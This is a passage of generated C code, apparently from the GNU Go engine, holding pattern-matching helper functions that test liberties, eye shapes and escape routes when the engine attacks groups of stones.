move, transformation); B = offset(-1, 0, move, transformation); return owl_eyespace(a,B); } static int autohelperowl_attackpat98(struct pattern *patt, int transformation, int move, int color, int action) { int b, A, C, W; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-2, 1, move, transformation); A = offset(0, -1, move, transformation); C = offset(-1, -1, move, transformation); W = offset(-1, 1, move, transformation); return play_attack_defend_n(color, 1, 1, move, W) && !play_attack_defend_n(color, 1, 4, move, A, b, C, b); } static int autohelperowl_attackpat100(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); return !ATTACK_MACRO(a); } static int autohelperowl_attackpat101(struct pattern *patt, int transformation, int move, int color, int action) { int a, B, C, D; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 2, move, transformation); B = offset(0, -1, move, transformation); C = offset(-1, -1, move, transformation); D = offset(0, -2, move, transformation); return !ATTACK_MACRO(a) && owl_proper_eye(B,C)&& (somewhere(OTHER_COLOR(color), 0, D) || owl_proper_eye(D,C)); } static int autohelperowl_attackpat102(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 2, move, transformation); b = offset(0, -1, move, transformation); C = offset(-1, 0, move, transformation); return owl_eyespace(b,C) && !ATTACK_MACRO(a); } static int autohelperowl_attackpat105(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); b = offset(0, 1, move, transformation); c = offset(0, -1, move, transformation); return countlib(c) > 1 && !play_attack_defend_n(color, 1, 3, move, a, b, move); } static int autohelperowl_attackpat106(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); b = offset(0, -1, move, transformation); return !play_attack_defend_n(color, 1, 1, move, a) && !obvious_false_eye(b,OTHER_COLOR(color)); } static int autohelperowl_attackpat107(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); b = offset(0, -1, move, transformation); C = offset(-1, 0, move, transformation); return !play_attack_defend_n(color, 1, 2, move, b, a) && owl_eyespace(b,C); } static int autohelperowl_attackpat108(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); b = offset(0, -1, move, transformation); C = offset(-1, 0, move, transformation); return countlib(C)==2 && countstones(C)>1 && !play_attack_defend_n(color, 1, 1, move, a) && !obvious_false_eye(b,OTHER_COLOR(color)); } static int autohelperowl_attackpat110(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 2, move, transformation); return !ATTACK_MACRO(a); } static int autohelperowl_attackpat111(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, -2, move, transformation); return countlib(A)==2; } static int autohelperowl_attackpat112(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 3, move, transformation); return countlib(a) > 1; } static int autohelperowl_attackpat113(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, D; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(-1, -1, move, transformation); c = offset(0, 1, move, transformation); D = offset(-2, 0, move, transformation); return play_attack_defend_n(color, 1, 4, move, a, b, c, D); } static int autohelperowl_attackpat114(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); return !play_attack_defend_n(color, 1, 2, a, move, move); } static int autohelperowl_attackpat115(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-2, 0, move, transformation); return countlib(A) == 3; } static int autohelperowl_attackpat116(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, 0, move, transformation); b = offset(0, -2, move, transformation); C = offset(-2, -1, move, transformation); return !ATTACK_MACRO(C) && (!somewhere(OTHER_COLOR(color), 0, b) || (somewhere(OTHER_COLOR(color), 0, b) && somewhere(color, 0, a))); } static int autohelperowl_attackpat117(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-2, -1, move, transformation); return countlib(A) == 3; } static int autohelperowl_attackpat118(struct pattern *patt, int transformation, int move, int color, int action) { int b, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-2, 0, move, transformation); A = offset(0, -1, move, transformation); return play_attack_defend2_n(color, 0, 2, move, A, b, move); } static int autohelperowl_attackpat120(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-2, -1, move, transformation); return countlib(A)>1; } static int autohelperowl_attackpat121(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-2, -1, move, transformation); return countlib(A)>1; } static int autohelperowl_attackpat124(struct pattern *patt, int transformation, int move, int color, int action) { int a, c, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); c = offset(-1, 0, move, transformation); B = offset(0, 1, move, transformation); return owl_eyespace(a,B) && accurate_approxlib(c, OTHER_COLOR(color), MAX_LIBERTIES, NULL) <= 2 && play_attack_defend_n(color, 1, 2, move, c, c); } static int autohelperowl_attackpat125(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); b = offset(2, 1, move, transformation); A = offset(1, 1, move, transformation); return (owl_topological_eye(a,board[A])<=2) && (owl_topological_eye(b,board[A])==2); } static int autohelperowl_attackpat126(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); b = offset(1, 1, move, transformation); A = offset(0, 1, move, transformation); return (owl_topological_eye(a,board[A])==2) && ((owl_topological_eye(b,board[A])==2) || (owl_topological_eye(b,board[A])==3)); } static int autohelperowl_attackpat127(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); B = offset(1, 0, move, transformation); return owl_topological_eye(a,board[B])==3 && does_attack(move,B); } static int autohelperowl_attackpat128(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(-1, 0, move, transformation); A = offset(0, -2, move, transformation); return owl_topological_eye(a,board[A])==3 && safe_move(b,color) && safe_move(move,color) && play_attack_defend_n(OTHER_COLOR(color), 1, 2, move, b, b); } static int autohelperowl_attackpat129(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); b = offset(1, -1, move, transformation); A = offset(0, -1, move, transformation); return countlib(a)==2 && owl_topological_eye(b,board[A])==3; } static int autohelperowl_attackpat132(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, 0, move, transformation); b = offset(-3, -1, move, transformation); return !ATTACK_MACRO(b) && play_attack_defend_n(OTHER_COLOR(color), 1, 1, a, b); } static int autohelperowl_attackpat133(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); return countlib(A)==1; } static int autohelperowl_attackpat134(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(2, 2, move, transformation); b = offset(1, 1, move, transformation); C = offset(2, 1, move, transformation); return owl_eyespace(b,C) && !owl_proper_eye(move,C) && !ATTACK_MACRO(a); } static int autohelperowl_attackpat135(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); return play_attack_defend_n(OTHER_COLOR(color), 1, 1, move, a); } static int autohelperowl_attackpat136(struct pattern *patt, int transformation, int move, int color, int action) { int b, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(1, 1, move, transformation); A = offset(1, 0, move, transformation); return owl_big_eyespace(A,b) && play_attack_defend_n(color, 1, 1, move, b); } static int autohelperowl_attackpat137(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, 1, move, transformation); return 1 || play_attack_defend_n(color, 1, 1, move, A); } static int autohelperowl_attackpat140(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, -1, move, transformation); return ATTACK_MACRO(A) && !play_attack_defend_n(color, 1, 1, move, A); } static int autohelperowl_attackpat141(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); return does_attack(move,A); } static int autohelperowl_attackpat146(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, -2, move, transformation); return countlib(A)>2; } static int autohelperowl_attackpat147(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, -1, move, transformation); return owl_eyespace(move,A) && safe_move(move,color); } static int autohelperowl_attackpat148(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C, D; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, -1, move, transformation); b = offset(-1, 0, move, transformation); C = offset(-2, 0, move, transformation); D = offset(-1, 1, move, transformation); return countlib(D) <= 3 && owl_proper_eye(a,C) && owl_proper_eye(b,C); } static int autohelperowl_attackpat150(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(-1, 0, move, transformation); c = offset(0, 1, move, transformation); return countlib(a)==1 && countlib(b)==1 && countlib(c)<=2; } static int autohelperowl_attackpat151(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(-1, 0, move, transformation); c = offset(0, 1, move, transformation); return countlib(a)<=2 && countlib(b)==1 && countlib(c)<=2; } static int autohelperowl_attackpat153(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-2, 0, move, transformation); B = offset(-2, 1, move, transformation); return countlib(a) == 1 && countlib(B) > 1; } static int autohelperowl_attackpat155(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); return !DEFEND_MACRO(a); } static int autohelperowl_attackpat156(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); return accurate_approxlib(a, OTHER_COLOR(color), MAX_LIBERTIES, NULL) == 2; } static int autohelperowl_attackpat158(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); return !obvious_false_eye(a,OTHER_COLOR(color)); } static int autohelperowl_attackpat159(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, -2, move, transformation); return countlib(A)==2; } static int autohelperowl_attackpat161(struct pattern *patt, int transformation, int move, int color, int action) { int b, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-1, 0, move, transformation); A = offset(-1, -2, move, transformation); return countlib(A)==2 && !safe_move(b,color); } static int autohelperowl_attackpat162(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); return !safe_move(a,color); } static int autohelperowl_attackpat163(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 2, move, transformation); b = offset(0, 3, move, transformation); return somewhere(color, 1, a, b); } static int autohelperowl_attackpat167(struct pattern *patt, int transformation, int move, int color, int action) { int a, B, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); B = offset(-1, 0, move, transformation); C = offset(0, 1, move, transformation); return (owl_escape_value(B)>0 || owl_escape_value(C)>0)&& !play_attack_defend2_n(color, 1, 1, move, move, a); } static int autohelperowl_attackpat168(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); return !play_attack_defend2_n(color, 1, 1, move, move, a); } static int autohelperowl_attackpat169(struct pattern *patt, int transformation, int move, int color, int action) { int a, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); c = offset(1, 2, move, transformation); return !safe_move(a,color) && !play_attack_defend2_n(color, 1, 3, move, NO_MOVE, a, a, c) && !play_attack_defend_n(color, 1, 2, move, a, move); } static int autohelperowl_attackpat170(struct pattern *patt, int transformation, int move, int color, int action) { int a, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); c = offset(1, 2, move, transformation); return !safe_move(a,color) && !play_attack_defend2_n(color, 1, 3, move, NO_MOVE, a, a, c); } static int autohelperowl_attackpat171(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); b = offset(0, 1, move, transformation); C = offset(1, 1, move, transformation); return owl_escape_value(C)>0 && play_attack_defend2_n(OTHER_COLOR(color), 1, 2, move, a, a, b); } static int autohelperowl_attackpat173(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); return countlib(a) <= 2; } static int autohelperowl_attackpat174(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(0, 1, move, transformation); return owl_escape_value(a)>0 || owl_escape_value(b)>0; } static int autohelperowl_attackpat175(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(0, 1, move, transformation); c = offset(1, 0, move, transformation); return (owl_escape_value(a)>0 || owl_escape_value(b)>0) && play_attack_defend_n(color, 1, 2, move, c, c); } static int autohelperowl_attackpat176(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); return play_attack_defend_n(OTHER_COLOR(color), 1, 2, move, a, a); } static int autohelperowl_attackpat177(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); B = offset(0, 1, move, transformation); return play_attack_defend_n(color, 1, 2, move, a, B); } static int autohelperowl_attackpat178(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); b = offset(-1, 1, move, transformation); return owl_escape_value(a)>0 || owl_escape_value(b)>0; } static int autohelperowl_attackpat179(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); b = offset(1, -1, move, transformation); return !safe_move(a,color) && countlib(b)>1; } static int autohelperowl_attackpat180(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-1, 1, move, transformation); c = offset(-2, 0, move, transformation); A = offset(-1, 0, move, transformation); return owl_escape_value(b)>0 && play_attack_defend2_n(color, 0, 3, move, A, b, c, b) && play_attack_defend2_n(color, 0, 3, move, A, b, b, move); } static int autohelperowl_attackpat181(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, -3, move, transformation); B = offset(-1, -2, move, transformation); return somewhere(OTHER_COLOR(color), 1, A, B) && owl_escape_value(A) + owl_escape_value(B) > 0; } static int autohelperowl_attackpat182(struct pattern *patt, int transformation, int move, int color, int action) { int e, f, g, A, B; UNUSED(patt); UNUSED(color); UNUSED(action); e = offset(0, -1, move, transformation); f = offset(1, -1, move, transformation); g = offset(1, 0, move, transformation); A = offset(0, -2, move, transformation); B = offset(0, 1, move, transformation); return (owl_escape_value(A) > 0 || owl_escape_value(B) > 0) && play_attack_defend2_n(color, 0, 4, move, g, f, e, f, move); } static int autohelperowl_attackpat183(struct pattern *patt, int transformation, int move, int color, int action) { int c, d, e, A, B; UNUSED(patt); UNUSED(color); UNUSED(action); c = offset(0, -1, move, transformation); d = offset(-1, -1, move, transformation); e = offset(-1, 0, move, transformation); A = offset(0, 1, move, transformation); B = offset(-1, -2, move, transformation); return (owl_escape_value(A) > 0 || owl_escape_value(B) > 0) && ((somewhere(OTHER_COLOR(color), 0, d) && play_attack_defend2_n(OTHER_COLOR(color), 1, 2, move, c, c, e)) || (!somewhere(OTHER_COLOR(color), 0, d) && !play_attack_defend2_n(OTHER_COLOR(color), 0, 3, move, c, d, c, e))); } static int autohelperowl_attackpat184(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(-1, 0, move, transformation); c = offset(-1, -1, move, transformation); return owl_escape_value(c)>0 && play_attack_defend2_n(OTHER_COLOR(color), 1, 2, move, a, a, b); } static int autohelperowl_attackpat185(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, -1, move, transformation); c = offset(0, 1, move, transformation); return play_break_through_n(OTHER_COLOR(color), 2, move, a, b, a, c) == WIN; } static int autohelperowl_attackpat186(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, -1, move, transformation); c = offset(0, 1, move, transformation); return countlib(b)<=4 && countlib(c)<=4 && play_break_through_n(OTHER_COLOR(color), 2, move, a, b, a, c) == WIN; } static int autohelperowl_attackpat187(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); B = offset(0, 1, move, transformation); return vital_chain(A) && vital_chain(B) && !play_attack_defend2_n(OTHER_COLOR(color), 0, 1, move, A, B); } static int autohelperowl_attackpat188(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, -1, move, transformation); c = offset(0, -1, move, transformation); return !play_attack_defend2_n(OTHER_COLOR(color), 0, 3, move, a, b, a, c); } static int autohelperowl_attackpat189(struct pattern *patt, int transformation, int move, int color, int action) { int a, A, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); A = offset(0, -2, move, transformation); B = offset(-1, 0, move, transformation); return play_attack_defend_n(OTHER_COLOR(color), 1, 2, move, a, B) && !play_attack_defend_n(color, 0, 1, move, A); } static int autohelperowl_attackpat190(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); b = offset(1, 0, move, transformation); A = offset(1, -1, move, transformation); return !ATTACK_MACRO(A) && play_attack_defend_n(OTHER_COLOR(color), 1, 2, move, a, b); } static int autohelperowl_attackpat191(struct pattern *patt, int transformation, int move, int color, int action) { int a, A, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); A = offset(1, -2, move, transformation); B = offset(0, -1, move, transformation); return !ATTACK_MACRO(A) && ATTACK_MACRO(a) && !play_attack_defend_n(color, 0, 1, move, B); } static int autohelperowl_attackpat192(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(1, 0, move, transformation); return !play_attack_defend2_n(OTHER_COLOR(color), 0, 1, move, a, b) && vital_chain(a) && vital_chain(b); } static int autohelperowl_attackpat193(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 1, move, transformation); b = offset(1, 0, move, transformation); c = offset(2, 1, move, transformation); return countlib(c)>2 && vital_chain(b) && vital_chain(c)&& play_attack_defend_n(color, 1, 2, move, a, a) && !play_attack_defend2_n(OTHER_COLOR(color), 0, 1, a, b, c); } static int autohelperowl_attackpat194(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); b = offset(1, -1, move, transformation); c = offset(2, 0, move, transformation); return countlib(c)>2 && vital_chain(b) && vital_chain(c)&& play_attack_defend_n(color, 1, 2, move, a, a) && !play_attack_defend2_n(OTHER_COLOR(color), 0, 1, a, b, c); } static int autohelperowl_attackpat195(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); B = offset(-1, 1, move, transformation); return owl_escape_value(B) > 0 && does_defend(move,a); } static int autohelperowl_attackpat196(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); b = offset(-1, 2, move, transformation); c = offset(-1, -1, move, transformation); return somewhere(color, 1, a, b) && ATTACK_MACRO(c); } static int autohelperowl_attackpat199(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, -1, move, transformation); return ATTACK_MACRO(a); } static int autohelperowl_attackpat200(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(3, 0, move, transformation); b = offset(0, 3, move, transformation); return owl_escape_value(a)>0 || owl_escape_value(b)>0; } static int autohelperowl_attackpat201(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(3, -1, move, transformation); b = offset(0, 2, move, transformation); return owl_escape_value(a)>0 || owl_escape_value(b)>0; } static int autohelperowl_attackpat203(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C, D; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(0, 1, move, transformation); C = offset(1, 1, move, transformation); D = offset(-1, 1, move, transformation); return owl_escape_value(C)>0 && owl_goal_dragon(D) && !play_attack_defend2_n(OTHER_COLOR(color), 0, 1, move, a, b); } static int autohelperowl_attackpat204(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); b = offset(0, 1, move, transformation); return !play_attack_defend2_n(OTHER_COLOR(color), 0, 1, move, a, b); } static int autohelperowl_attackpat205(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -2, move, transformation); return ATTACK_MACRO(A) && !play_attack_defend_n(color, 1, 1, move, A); } static int autohelperowl_attackpat206(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, D, E; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(1, 1, move, transformation); c = offset(1, 0, move, transformation); D = offset(1, -1, move, transformation); E = offset(0, 1, move, transformation); return (owl_escape_value(a)>0 || owl_escape_value(b)>0)&& ((somewhere(color, 0, E) || somewhere(OTHER_COLOR(color), 0, E)) || owl_escape_value(a) < 0)&& !play_attack_defend2_n(color, 1, 3, move, c, D, move, D); } static int autohelperowl_attackpat207(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, e, f, g, h; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(-1, 1, move, transformation); c = offset(0, 1, move, transformation); e = offset(-2, 1, move, transformation); f = offset(-1, 2, move, transformation); g = offset(-2, 0, move, transformation); h = offset(0, 2, move, transformation); return (owl_escape_value(a) > 0) + (owl_escape_value(b) > 0) + (owl_escape_value(c) > 0) > 1 || (!somewhere(color, 0, g) && !somewhere(color, 0, h) && owl_escape_value(e) + owl_escape_value(f) > 0); } static int autohelperowl_attackpat208(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -1, move, transformation); b = offset(-1, 1, move, transformation); c = offset(1, 0, move, transformation); return !same_string(a,b) && (countlib(a) <= 4 || countlib(b) <= 4 || countlib(c) <= 4); } static int autohelperowl_attackpat209(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); b = offset(1, 1, move, transformation); return !is_same_dragon(a,b) && !play_connect_n(color, 1, 1, move, a, b); } static int autohelperowl_attackpat210(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, E; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); b = offset(-1, -2, move, transformation); c = offset(0, -1, move, transformation); d = offset(-1, -1, move, transformation); E = offset(-1, 0, move, transformation); return (owl_escape_value(a) > 0 || owl_escape_value(b) > 0) && play_attack_defend2_n(OTHER_COLOR(color), 1, 3, move, c, d, c, E); } static int autohelperowl_attackpat211(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, d, e, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(0, -2, move, transformation); c = offset(1, -2, move, transformation); d = offset(1, -1, move, transformation); e = offset(0, -1, move, transformation); A = offset(-1, -1, move, transformation); return (owl_escape_value(d) > 0 || owl_escape_value(b) > 0 || owl_escape_value(c) > 0)&& play_attack_defend2_n(color, 0, 2, move, e, A, move); } static int autohelperowl_attackpat212(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, d, e, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(0, -1, move, transformation); c = offset(1, -1, move, transformation); d = offset(1, 0, move, transformation); e = offset(0, 1, move, transformation); A = offset(-1, 0, move, transformation); return (owl_escape_value(d) > 0 || owl_escape_value(b) > 0 || owl_escape_value(c) > 0) && !play_attack_defend2_n(color, 0, 2, e, move, A, e); } static int autohelperowl_attackpat214(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); B = offset(0, 1, move, transformation); return vital_chain(A) && vital_chain(B) && play_attack_defend2_n(OTHER_COLOR(color), 1, 1, move, A, B); } static int autohelperowl_attackpat215(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(0, 1, move, transformation); c = offset(1, 0, move, transformation); A = offset(1, 1, move, transformation); return (ATTACK_MACRO(A) != WIN || (countstones(A)<=2 && does_attack(move,A))) && (!owl_goal_dragon(b) || !owl_goal_dragon(c)); } static int autohelperowl_attackpat216(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); b = offset(0, -1, move, transformation); c = offset(1, -1, move, transformation); d = offset(1, 1, move, transformation); return owl_escape_value(a) > 0 && play_attack_defend_n(color, 1, 1, move, b) && !play_attack_defend_n(color, 1, 3, move, c, d, d); } static int autohelperowl_attackpat217(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 1, move, transformation); B = offset(0, -1, move, transformation); return play_attack_defend_n(OTHER_COLOR(color), 1, 2, move, a, B); } static int autohelperowl_attackpat218(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); B = offset(0, 1, move, transformation); return (countlib(a)==1) && (countlib(B)==1); } static int autohelperowl_attackpat219(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, 0, move, transformation); return countstones(A)>3 && countlib(A)==1; } static int autohelperowl_attackpat220(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, 0, move, transformation); return countstones(A)<=3 && countlib(A)==1 && accurate_approxlib(move,color, MAX_LIBERTIES, NULL) > 1; } static int autohelperowl_attackpat221(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, 0, move, transformation); return countstones(A)>3 && does_attack(move,A); } static int autohelperowl_attackpat222(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, 0, move, transformation); return countstones(A)<=3 && does_attack(move,A)&& (accurate_approxlib(move,color, MAX_LIBERTIES, NULL) > 1 || is_ko_point(move)); } static int autohelperowl_attackpat223(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, 0, move, transformation); return does_attack(move,A); } static int autohelperowl_attackpat225(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -2, move, transformation); return owl_proper_eye(move,A); } static int autohelperowl_attackpat226(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; 